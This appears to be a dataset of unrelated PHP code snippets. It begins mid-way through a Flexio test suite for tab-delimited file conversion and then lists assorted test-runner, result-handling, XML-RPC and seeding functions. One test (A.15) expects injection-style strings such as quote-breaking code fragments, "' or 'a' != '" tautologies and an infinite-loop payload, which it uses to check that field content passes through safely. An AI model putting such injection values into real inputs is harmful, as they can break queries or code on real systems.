$process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"null\"],[\"2\",\"NULL\"],[\"3\",\"Null\"],[\"4\",null],[\"5\",\"\\\\\\\\N\"],[\"6\",\"\\\\\\\\\\\\\\\\N\"],[\"7\",\"\\\\n\"],[\"8\",\"\\\\\\\\n\"],[\"9\",\"\\\\\\\\\\\\\\\\n\"],[\"10\",\"\\\\0\"],[\"11\",\"\\\\\\\\0\"],[\"12\",\"\\\\\\\\\\\\\\\\0\"]];\n \\Flexio\\Tests\\Check::assertArray('A.10', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.12-content-escape.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"\\\\\"],[\"2\",\"\\\\\\\\\"],[\"3\",\"\\\\\\\\\\\\\"],[\"4\",\"\\\\\\\\\\\\\\\\\"],[\"5\",\"\\\\n\"],[\"6\",\"\\\\r\"],[\"7\",\"\\\\r\\\\n\"],[\"8\",\"\\\\t\"],[\"9\",\"\\\\/\"],[\"10\",\"\\\\\\\\/\"],[\"11\",\"\\\\'\"],[\"12\",\"\\\\\\\"\"]];\n \\Flexio\\Tests\\Check::assertArray('A.11', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.13-content-symbol.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"?\"],[\"2\",\"!\"],[\"3\",\"@\"],[\"4\",\"#\"],[\"5\",\"$\"],[\"6\",\"%\"],[\"7\",\"^\"],[\"8\",\"&\"],[\"9\",\"*\"],[\"10\",\"-\"],[\"11\",\"=\"],[\"12\",\"+\"]];\n \\Flexio\\Tests\\Check::assertArray('A.12', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.14-content-separator.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\";\"],[\"2\",\",\"],[\"3\",\".\"],[\"4\",\"|\"],[\"5\",\":\"],[\"6\",\"~\"],[\"7\",\"_\"],[\"8\",\"\\\" \\\"\"],[\"9\",\"\\\" \\\"\"],[\"10\",\"\\\\t\"],[\"11\",\"\\\\f\"],[\"12\",\"\"]];\n \\Flexio\\Tests\\Check::assertArray('A.13', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.15-content-bracket.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"(\"],[\"2\",\")\"],[\"3\",\"[\"],[\"4\",\"]\"],[\"5\",\"{\"],[\"6\",\"}\"],[\"7\",\"<\"],[\"8\",\">\"],[\"9\",\"'\"],[\"10\",\"\\\"\"],[\"11\",\"`\"],[\"12\",\"/\"]];\n \\Flexio\\Tests\\Check::assertArray('A.14', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.16-content-code.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",'\";break;$b=\"'],[\"2\",'\\';$a=1/0;$b=\\''],[\"3\",\"true;\"],[\"4\",\"throw new Exception('Problem.');\"],[\"5\",'\" or \"a\" != \"'],[\"6\",\"' or 'a' != '\"],[\"7\",\"// /*\"],[\"8\",\".*\"],[\"9\",\"/.*/\"],[\"10\",\"' || true || '\"],[\"11\",\"' || true;\"],[\"12\",\"''; while (1) {}\"]];\n \\Flexio\\Tests\\Check::assertArray('A.15', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.17-content-date.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"0000-00-00\"],[\"2\",\"1582-10-05\"],[\"3\",\"1582-10-15\"],[\"4\",\"1969-12-31\"],[\"5\",\"1970-01-01\"],[\"6\",\"\"],[\"7\",\"1999-12-31\"],[\"8\",\"2000-01-01\"],[\"9\",\"2001-02-03\"],[\"10\",\"2016-02-29\"],[\"11\",\"2038-01-19\"],[\"12\",\"2038-01-20\"]];\n \\Flexio\\Tests\\Check::assertArray('A.16', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.18-content-date-format.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"20011225\"],[\"2\",\" 2001-12-25\"],[\"3\",\"12-25-2001\"],[\"4\",\"December 25, 2001\"],[\"5\",\"Dec 25, 2001\"],[\"6\",\"25 December 2001\"],[\"7\",\"25 Dec 2001\"],[\"8\",\"12.25.01\"],[\"9\",\"11/12/99\"],[\"10\",\"12/11/99\"],[\"11\",\"12/13/1999\"],[\"12\",\"13/12/1999\"]];\n \\Flexio\\Tests\\Check::assertArray('A.17', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.19-content-datetime.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"1969-12-31 23:59:59\"],[\"2\",\"1970-01-01 00:00:00\"],[\"3\",\"1970-01-01 00:00:01\"],[\"4\",\"\"],[\"5\",\"1999-12-31 23:59:59\"],[\"6\",\"2000-01-01 00:00:00\"],[\"7\",\"2000-01-01 00:00:01\"],[\"8\",\"2001-02-03 04:05:06\"],[\"9\",\"2016-02-29 00:00:00\"],[\"10\",\"2038-01-19 03:14:06\"],[\"11\",\"2038-01-19 03:14:07\"],[\"12\",\"2038-01-19 03:14:08\"]];\n \\Flexio\\Tests\\Check::assertArray('A.18', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.20-content-datetime-format.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"24 Dec 2001 23:59:60Z\"],[\"2\",\"25 Dec 2001 00:00:00Z\"],[\"3\",\"Dec 31, 1999 10:01:02\"],[\"4\",\"December 31, 1999 10:01:02 PM\"],[\"5\",\"Friday, December 31, 1999\"],[\"6\",\"Fri, 31 Dec 1999 23:59:59 +0000\"],[\"7\",\"25 December 2001 01:02:03\"],[\"8\",\"25 Dec 2001 04:05:06Z\"],[\"9\",\"2001-12-25T16:56:42+00:00\"],[\"10\",\"20011225T12:00:00\"],[\"11\",\" 2001-12-25 01:02:03\"],[\"12\",\"2016-02-29 01:02:03.4 +0005\"]];\n \\Flexio\\Tests\\Check::assertArray('A.19', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.21-content-bool.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"true\"],[\"2\",\"true\"],[\"3\",\"\"],[\"4\",\"false\"],[\"5\",\"false\"],[\"6\",\"false\"],[\"7\",\"true\"],[\"8\",\"true\"],[\"9\",\"true\"],[\"10\",\"true\"],[\"11\",\"false\"],[\"12\",\"false\"]];\n \\Flexio\\Tests\\Check::assertArray('A.20', 'Convert Delimited; content conversion', $actual, $expected, $results);\n\n // BEGIN TEST\n $task = self::createConvertTask(\"\\t\", \"\", false);\n $stream = \\Flexio\\Tests\\Util::createStream('/text/03.22-content-bool-format.tsv');\n $process = \\Flexio\\Jobs\\Process::create()->setStdin($stream)->execute($task);\n $output = $process->getStdout()->getReader()->read();\n $output = json_decode($output,true);\n $actual = self::getTableValues($output);\n $expected = [[\"1\",\"True\"],[\"2\",\"False\"],[\"3\",\"TRUE\"],[\"4\",\"FALSE\"],[\"5\",\"t\"],[\"6\",\"f\"],[\"7\",\"T\"],[\"8\",\"F\"],[\"9\",\"1\"],[\"10\",\"0\"],[\"11\",\"Y\"],[\"12\",\"N\"]];\n \\Flexio\\Tests\\Check::assertArray('A.21', 'Convert Delimited; content conversion', $actual, $expected, $results);\n }", "function get_simpletest_results($project_dir) {\n $results = [\n 'assertions' => 0,\n 'failures' => 0,\n 'errors' => 0,\n ];\n $simpletest_dir = $project_dir . '/simpletest';\n if (is_dir($simpletest_dir)) {\n foreach (new DirectoryIterator($simpletest_dir) as $simpletest_file_info) {\n if ($simpletest_file_info->isFile()) {\n $simpletest_xml = simplexml_load_file($simpletest_file_info->getRealPath());\n $results['assertions'] += count($simpletest_xml->testcase);\n $results['failures'] += count($simpletest_xml->xpath('/testsuite/testcase/failure'));\n $results['errors'] += count($simpletest_xml->xpath('/testsuite/testcase/error'));\n }\n }\n }\n return $results;\n}", "public abstract function getResults();", "abstract protected function setresults();", "function test_all () {\n\n\t\t$this->layout = 'test';\n\n\t\t$tests_folder = new Folder('../tests');\n\n\t\t$results = array();\n\t\t$total_errors = 0;\n\t\tforeach ($tests_folder->findRecursive('.*\\.php') as $test) {\n\t\t\tif (preg_match('/^(.+)\\.php/i', basename($test), $r)) {\n\t\t\t\trequire_once($test);\n\t\t\t\t$test_name = Inflector::Camelize($r[1]);\n\t\t\t\tif (preg_match('/^(.+)Test$/i', $test_name, $r)) {\n\t\t\t\t\t$module_name = $r[1];\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$module_name = $test_name;\n\t\t\t\t}\n\t\t\t\t$suite = new TestSuite($test_name);\n\t\t\t\t$result = TestRunner::run($suite);\n\n\t\t\t\t$total_errors += $result['errors'];\n\n\t\t\t\t$results[] = array(\n\t\t\t\t\t'name'=>$module_name,\n\t\t\t\t\t'result'=>$result,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\t$this->set('success', !$total_errors);\n\t\t$this->set('results', $results);\n\t}", "public function showTestResults() {\n echo \"Tests: {$this->tests}\\n\";\n echo \"Pass: {$this->pass}\\n\";\n echo \"Fail: {$this->fail}\\n\";\n }", "public function setPageResults($results,$resultsCount) {\n $this->calculatePageCount($resultsCount);\n $this->pageResults = $results;\n }", "public function testObjectResult()\n {\n $result = $this->searchResult->objectResult();\n\n $this->assertObjectHasAttribute('results', $result);\n $this->assertObjectHasAttribute('status', $result);\n }", "public function load_test_run_requests_to_run($save_name, $result_identifier, &$result_file, &$test_run_requests)\n\t{\n\t\t$this->auto_save_results($save_name, $result_identifier);\n\t\t$this->run_description = $result_file->get_description();\n\n\t\tif(count($test_run_requests) == 0)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tforeach($test_run_requests as &$test_run_request)\n\t\t{\n\t\t\tif($this->validate_test_to_run($test_run_request->test_profile) == false)\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif($test_run_request->test_profile->get_override_values() != null)\n\t\t\t{\n\t\t\t\t$test_run_request->test_profile->set_override_values($test_run_request->test_profile->get_override_values());\n\t\t\t}\n\n\t\t\t$test_result = new pts_test_result($test_run_request->test_profile);\n\t\t\t$test_result->set_used_arguments($test_run_request->get_arguments());\n\t\t\t$test_result->set_used_arguments_description($test_run_request->get_arguments_description());\n\t\t\t$this->add_test_result_object($test_result);\n\t\t}\n\n\t\t// Is there something to run?\n\t\treturn $this->get_test_count() > 0;\n\t}", "public function setResults(array $input)\n {\n $this->results = $input;\n return $this;\n }", "private function return($results, $count, $message = '')\n {\n return (object) [\n 'results' => $results,\n 'count' => $count,\n 'message' => $message\n ];\n }", "public function run()\n {\n $count = CountString::$countTests;\n $ar = $this->getAr();\n for ($i = 1, $ii = 1; $i <= $count; $i++, $ii++) {\n if ($ii > 3) {\n $ii = 1;\n }\n\n if ((Test::where('id', '=', $i)->first()) === null) {\n $Test = Test::create([\n 'user_id' => '1',\n 'grade_id' => $ii ,\n 'subject_id' => $ii,\n 'page_id' => $ii,\n 'name' => ($i) . '-й тест',\n 'slug' => str_slug(($i) . '-й тест', '_', 'en'),\n\n\n 'text_input' => $ar['input'][$ii-1],\n 'text_html' => $ar['html'][$ii-1],\n\n 'difficulty' => 0,\n 'difficulty_2' => 0,\n 'difficulty_3' => 0,\n\n\n 'comment' => 'comment - ' . $i,\n 'description' => 'description - ' . $i,\n\n\n 'active' => 1,\n 'published_at' => now()\n\n ]);\n\n $Test->save();\n }\n }\n }", "function TestCaseRun_create($assignee, $build_id, $case_id, $case_text_version, $environment_id, $run_id, $canview = NULL, $close_date = NULL, $iscurrent = NULL, $notes = NULL, $sortkey = NULL, $testedby = NULL) {\n\t$varray = array(\"assignee\" => \"int\", \"build_id\" => \"int\", \"case_id\" => \"int\", \"case_text_version\" => \"int\", \"environment_id\" => \"int\", \"run_id\" => \"int\", \"canview\" => \"int\", \"close_date\" => \"string\", \"iscurrent\" => \"int\", \"notes\" => \"string\", \"sortkey\" => \"int\", \"testedby\" => \"int\");\n\tforeach($varray as $key => $val) {\n\t\tif (isset(${$key})) {\n\t\t\t$carray[$key] = new xmlrpcval(${$key}, $val);\n\t\t}\n\t}\n\t// Create call\n\t$call = new xmlrpcmsg('TestCaseRun.create', array(new xmlrpcval($carray, \"struct\")));\n\n\t// Do call and return value\n\treturn do_call($call);\n}", "protected function createResults($data) {\n // Here, form item values must be a string and it must contain the proxies.\n if(!$data->getFormItemValues() || is_array($data->getFormItemValues())) return null;\n\n $proxies = $data->getFormItemValues();\n $testUrl = $data->get(\"url\");\n\n // Create a dummy bot by making sure it will consider the proxies.\n // By this way, we can retrieve the prepared proxy lists from the bot.\n $dummyBot = new DummyBot([\n SettingKey::DO_NOT_USE_GENERAL_SETTINGS => 1,\n SettingKey::WPCC_USE_PROXY => 1,\n SettingKey::WPCC_PROXIES => $proxies,\n ] + $data->getPostSettings());\n\n $protocol = starts_with($testUrl, \"https\") ? \"https\" : \"http\";\n\n // Get proxy list for this protocol\n $proxyList = $dummyBot->preparedProxyList;\n\n $results = [];\n\n if($testUrl) {\n foreach($proxyList as $proxyUrl) {\n try {\n // If there is a proxy, create a new client with the proxy settings.\n $dummyBot->createClient($proxyUrl, $protocol);\n\n $crawler = $dummyBot->getClient()->request(\"GET\", $testUrl);\n\n // Get the response\n $response = $dummyBot->getClient()->getInternalResponse();\n\n // If the response is not OK, this proxy is failed.\n if($response->getStatusCode() != 200) {\n $results[] = _wpcc(\"Fail\") . \": \" . $proxyUrl;\n continue;\n }\n\n // Try to get the HTML content. If this causes an error, we'll catch it and return null.\n $crawler->html();\n\n $results[] = _wpcc(\"Success\") . \": \" . $proxyUrl;\n\n // If the connection failed, mark this proxy as failed.\n } catch(ConnectException $e) {\n $results[] = _wpcc(\"Fail\") . \": \" . $proxyUrl;\n\n // Catch other request exceptions\n } catch(RequestException $e) {\n $results[] = _wpcc(\"Error\") . \": \" . $e->getMessage();\n\n // Catch all errors\n } catch(Exception $e) {\n $results[] = _wpcc(\"Error\") . \": \" . $e->getMessage();\n error_log(\"Content Crawler - Exception for '{$testUrl}': \" . $e->getMessage());\n break;\n }\n }\n }\n\n $this->message = sprintf(\n _wpcc('Test results for %1$s:'),\n \"<span class='highlight url'>\" . $testUrl . \"</span>\"\n );\n\n return $results;\n }", "public function run()\n {\n $pages = [\n [\n 'id' => 1,\n 'title' => 'About Minecrafter',\n 'page_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque condimentum, enim nec molestie viverra, lacus nisl accumsan enim, at porta eros odio at dui. Integer quis sem pellentesque, consectetur arcu eget, rutrum dolor. Praesent mauris felis, fringilla sit amet hendrerit vel, finibus at sapien. Suspendisse ut feugiat nunc, at dictum turpis. Nam eget tortor sit amet risus iaculis ultrices ac sed elit. Nunc vestibulum fringilla est non tincidunt. Cras sed mauris nec libero aliquet blandit et ut ligula. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Morbi pretium augue tellus, at faucibus urna eleifend sed. Nullam faucibus justo quam, non porta elit eleifend vitae.'\n ],\n [\n 'id' => 2,\n 'title' => 'Privacy policy',\n 'page_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque condimentum, enim nec molestie viverra, lacus nisl accumsan enim, at porta eros odio at dui. Integer quis sem pellentesque, consectetur arcu eget, rutrum dolor. Praesent mauris felis, fringilla sit amet hendrerit vel, finibus at sapien. Suspendisse ut feugiat nunc, at dictum turpis. Nam eget tortor sit amet risus iaculis ultrices ac sed elit. Nunc vestibulum fringilla est non tincidunt. Cras sed mauris nec libero aliquet blandit et ut ligula. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Morbi pretium augue tellus, at faucibus urna eleifend sed. Nullam faucibus justo quam, non porta elit eleifend vitae.'\n ],\n [\n 'id' => 3,\n 'title' => 'General Terms',\n 'page_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque condimentum, enim nec molestie viverra, lacus nisl accumsan enim, at porta eros odio at dui. Integer quis sem pellentesque, consectetur arcu eget, rutrum dolor. Praesent mauris felis, fringilla sit amet hendrerit vel, finibus at sapien. Suspendisse ut feugiat nunc, at dictum turpis. Nam eget tortor sit amet risus iaculis ultrices ac sed elit. Nunc vestibulum fringilla est non tincidunt. Cras sed mauris nec libero aliquet blandit et ut ligula. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Morbi pretium augue tellus, at faucibus urna eleifend sed. Nullam faucibus justo quam, non porta elit eleifend vitae.'\n ],\n [\n 'id' => 4,\n 'title' => 'Store Terms',\n 'page_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque condimentum, enim nec molestie viverra, lacus nisl accumsan enim, at porta eros odio at dui. Integer quis sem pellentesque, consectetur arcu eget, rutrum dolor. Praesent mauris felis, fringilla sit amet hendrerit vel, finibus at sapien. Suspendisse ut feugiat nunc, at dictum turpis. Nam eget tortor sit amet risus iaculis ultrices ac sed elit. Nunc vestibulum fringilla est non tincidunt. Cras sed mauris nec libero aliquet blandit et ut ligula. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Morbi pretium augue tellus, at faucibus urna eleifend sed. Nullam faucibus justo quam, non porta elit eleifend vitae.'\n ],\n [\n 'id' => 5,\n 'title' => 'Reports',\n 'page_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque condimentum, enim nec molestie viverra, lacus nisl accumsan enim, at porta eros odio at dui. Integer quis sem pellentesque, consectetur arcu eget, rutrum dolor. Praesent mauris felis, fringilla sit amet hendrerit vel, finibus at sapien. Suspendisse ut feugiat nunc, at dictum turpis. Nam eget tortor sit amet risus iaculis ultrices ac sed elit. Nunc vestibulum fringilla est non tincidunt. Cras sed mauris nec libero aliquet blandit et ut ligula. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Morbi pretium augue tellus, at faucibus urna eleifend sed. Nullam faucibus justo quam, non porta elit eleifend vitae.'\n ],\n [\n 'id' => 6,\n 'title' => 'Rules',\n 'page_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque condimentum, enim nec molestie viverra, lacus nisl accumsan enim, at porta eros odio at dui. Integer quis sem pellentesque, consectetur arcu eget, rutrum dolor. Praesent mauris felis, fringilla sit amet hendrerit vel, finibus at sapien. Suspendisse ut feugiat nunc, at dictum turpis. Nam eget tortor sit amet risus iaculis ultrices ac sed elit. Nunc vestibulum fringilla est non tincidunt. Cras sed mauris nec libero aliquet blandit et ut ligula. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Morbi pretium augue tellus, at faucibus urna eleifend sed. Nullam faucibus justo quam, non porta elit eleifend vitae.'\n ],\n [\n 'id' => 7,\n 'title' => 'Youtuber Apply',\n 'page_text' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque condimentum, enim nec molestie viverra, lacus nisl accumsan enim, at porta eros odio at dui. Integer quis sem pellentesque, consectetur arcu eget, rutrum dolor. Praesent mauris felis, fringilla sit amet hendrerit vel, finibus at sapien. Suspendisse ut feugiat nunc, at dictum turpis. Nam eget tortor sit amet risus iaculis ultrices ac sed elit. Nunc vestibulum fringilla est non tincidunt. Cras sed mauris nec libero aliquet blandit et ut ligula. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Morbi pretium augue tellus, at faucibus urna eleifend sed. Nullam faucibus justo quam, non porta elit eleifend vitae.'\n ],\n ];\n\n ContentPage::insert($pages);\n }", "protected function wrapResults($outputs)\n {\n return new Google_Picasa_PostPhoto_Results($outputs);\n }", "public function buildSummary() : \\stdClass\n {\n return (object) [\n 'pagesCrawled' => array_keys(array_filter($this->pages, function ($data) {\n return $data['code'] == 200;\n })),\n\n // Technically this is naive, as blank.gif and blank.png are the \"same\" image, but doing a vector analysis of the actual image data is a bit much.\n 'uniqueImages' => array_unique(array_reduce($this->pages, function ($acc, $data) {\n return array_merge($acc, $data['images']);\n }, [])),\n\n 'uniqueInternalLinks' => array_unique(array_reduce($this->pages, function ($acc, $data) {\n return array_merge($acc, $data['internalLinks']);\n }, [])),\n\n 'uniqueExternalLinks' => array_unique(array_reduce($this->pages, function ($acc, $data) {\n return array_merge($acc, $data['externalLinks']);\n }, [])),\n\n 'pagesLoadTime' => array_map(function ($data) {\n return $data['time'];\n }, $this->pages),\n\n 'wordCount' => array_map(function ($data) {\n return str_word_count($data['text']);\n }, $this->pages),\n\n 'titleLength' => array_map(function ($data) {\n return strlen($data['title']);\n }, $this->pages),\n ];\n }", "public function test_resultsAreValidFormat() {\n $types = ['track'];\n\n foreach ($types as $tk => $type) {\n $searchInstance = new SpotifySearch('a', $type, SingletonTokenContainer::get());\n $results = $searchInstance->getNextPage()->get();\n\n foreach ($results as $ik => $item) {\n $this->assertNotEmpty($item->href);\n $this->assertNotEmpty($item->name);\n if ($type != 'track') {\n $this->assertNotEmpty($item->images);\n } else {\n $this->assertNotEmpty($item->album);\n }\n }\n }\n\n }", "public function get_results()\n {\n return [\n 'skipped' => $this->m_skipped,\n 'migrated' => $this->m_migrated,\n 'missing_classes' => $this->m_missing_classes,\n ];\n }", "private static function parseResponse($htmlBody)\n {\n\n $results = [];\n $raw_results = json_decode($htmlBody, true);\n \n foreach ($raw_results as $row) {\n if(is_array($row)){\n $result = new SearchResult();\n\n $result->setTorrentHash($row['torrent_hash']);\n $result->setName($row['title']);\n $result->setCategory($row['category']);\n $result->setLeechers($row['leechs']);\n $result->setSeeders($row['seeds']);\n $result->setSize($row['torrent_size']);\n\n $results[] = $result;\n }\n\n }\n\n return $results;\n }", "function TestCaseRun_list($query) {\n\t// Create array\n\tforeach($query as $key => $val) {\n\t\tswitch($key) {\n\t\t\tcase \"assignee\":\n\t\t\tcase \"build_id\":\n\t\t\tcase \"canview\":\n\t\t\tcase \"case_id\":\n\t\t\tcase \"case_run_id\":\n\t\t\tcase \"case_run_status_id\":\n\t\t\tcase \"case_text_version\":\n\t\t\tcase \"environment_id\":\n\t\t\tcase \"iscurrent\":\n\t\t\tcase \"run_id\":\n\t\t\tcase \"sortkey\":\n\t\t\tcase \"testedby\":\n\t\t\t\t$type = \"int\";\n\t\t\t\tbreak;\n\t\t\tcase \"close_date\":\n\t\t\tcase \"notes\":\n\t\t\tdefault:\n\t\t\t\t$type = \"string\";\n\t\t}\n\t\t$qarray[$key] = new xmlrpcval($val, $type);\n\t}\n\n\t// Create call\n\t$call = new xmlrpcmsg('TestCaseRun.list', array(new xmlrpcval($qarray, \"struct\")));\n\n\t// Do call and return value\n\treturn do_call($call);\n}", "public function getResults();", "protected function createView() {\n return Utils::view('partials/test-result')\n ->with(\"results\", $this->getResults())\n ->with(\"message\", $this->message);\n }", "protected function createView() {\n return Utils::view('partials/test-result')\n ->with(\"results\", $this->getResults())\n ->with(\"message\", $this->message);\n }", "public function __construct()\n\t{\n\t\t$this->type = 'html';\n\t\t\n\t\t$docTitle = 'PHP RUN-TEST RESULTS';\n\t\t\n\t\t// dom\n\t\t$imp = new DOMImplementation();\n\t\t$dtd = $imp->createDocumentType(\"html\", \"-//W3C//DTD XHTML 1.0 Transitional//EN\", \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\");\n \t$this->dom = $imp->createDocument(\"\", \"\", $dtd);\n\n \t// html\n \t$htmlNode = $this->dom->createElement('html');\n \t$this->dom->appendChild($htmlNode);\n \t\n \t// head\n \t$headNode = $this->dom->createElement('head');\n \t$htmlNode->appendChild($headNode);\n \t$headNode->appendChild($this->dom->createElement('title', $docTitle));\n \t\n \t// body\n \t$bodyNode = $this->dom->createElement('body');\n \t$htmlNode->appendChild($bodyNode);\n \t\n \t// stage\n \t$this->stage = $this->dom->createElement('div');\n \t$this->stage->setAttribute('id', 'stage');\n \t$bodyNode->appendChild($this->stage);\n \t\n \t$this->stage->appendChild($this->dom->createElement('h1', $docTitle));\n\t}", "public function getTestIterationData()\n {\n $cases = [];\n\n // Case #0 Standard iterator.\n $cases[] = [\n [\n 'hits' => [\n 'total' => 1,\n 'hits' => [\n [\n '_type' => 'content',\n '_id' => 'foo',\n '_score' => 0,\n '_source' => ['header' => 'Test header'],\n ],\n ],\n ],\n ],\n [\n [\n '_type' => 'content',\n '_id' => 'foo',\n '_score' => 0,\n '_source' => ['header' => 'Test header'],\n ],\n ],\n ];\n\n return $cases;\n }", "function TestRun_get_test_case_runs($run_id) {\n\t// Create call\n\t$call = new xmlrpcmsg('TestRun.get_test_case_runs', array(new xmlrpcval($run_id, \"int\")));\n\n\t// Do call and return value\n\treturn do_call($call);\n}", "function TestRun_create($build_id, $environment_id, $manager_id, $plan_id, $plan_text_version, $summary, $notes = NULL, $start_date = NULL, $stop_date = NULL) {\n\t$varray = array(\"build_id\" => \"int\", \"environment_id\" => \"int\", \"manager_id\" => \"int\", \"plan_id\" => \"int\", \"plan_text_version\" => \"int\", \"summary\" => \"string\", \"notes\" => \"string\", \"start_date\" => \"string\", \"stop_date\" => \"string\");\n\tforeach($varray as $key => $val) {\n\t\tif (isset(${$key})) {\n\t\t\t$carray[$key] = new xmlrpcval(${$key}, $val);\n\t\t}\n\t}\n\t// Create call\n\t$call = new xmlrpcmsg('TestRun.create', array(new xmlrpcval($carray, \"struct\")));\n\n\t// Do call and return value\n\treturn do_call($call);\n}", "public function test() {\n $results = [];\n $results[\"testAddUser\"] = $this->testAddUser();\n\n return $results;\n }", "function TestRun_list($query) {\n\t// Create array\n\tforeach($query as $key => $val) {\n\t\tswitch($key) {\n\t\t\tcase \"plan\":\n\t\t\t\tunset($va);\n\t\t\t\tforeach($key as $k => $v) {\n\t\t\t\t\t$va[$k] = new xmlrpcval($v, \"string\");\n\t\t\t\t}\n\t\t\t\t$val = $va;\n\t\t\t\t$type = \"struct\";\n\t\t\t\tbreak;\n\t\t\tcase \"build_id\":\n\t\t\tcase \"environment_id\":\n\t\t\tcase \"manager_id\":\n\t\t\tcase \"plan_id\":\n\t\t\tcase \"plan_text_version\":\n\t\t\tcase \"product_version\":\n\t\t\tcase \"run_id\":\n\t\t\t\t$type = \"int\";\n\t\t\t\tbreak;\n\t\t\tcase \"notes\":\n\t\t\tcase \"start_date\":\n\t\t\tcase \"stop_date\":\n\t\t\tcase \"summary\":\n\t\t\tdefault:\n\t\t\t\t$type = \"string\";\n\t\t}\n\t\t$qarray[$key] = new xmlrpcval($val, $type);\n\t}\n\n\t// Create call\n\t$call = new xmlrpcmsg('TestRun.list', array(new xmlrpcval($qarray, \"struct\")));\n\n\t// Do call and return value\n\treturn do_call($call);\n}", "function testFindBooksResults() {\n\n /* test title */\n echo '<h2 style=\"color: black;\">testFindBookResults...</h2>';\n\n /* can't page layout because of the indeterminate nature of\n * results (i.e. we can't guarantee there's a book in the \n * production database, and the page layout depends on whether\n * or not there's a result)*/\n\n /* a fix for this could be to possibly display the\n * container (div or whatever) for results, then just\n * not populate it with anything if no results */\n\n $this->assertTrue(1);\n\n }", "public 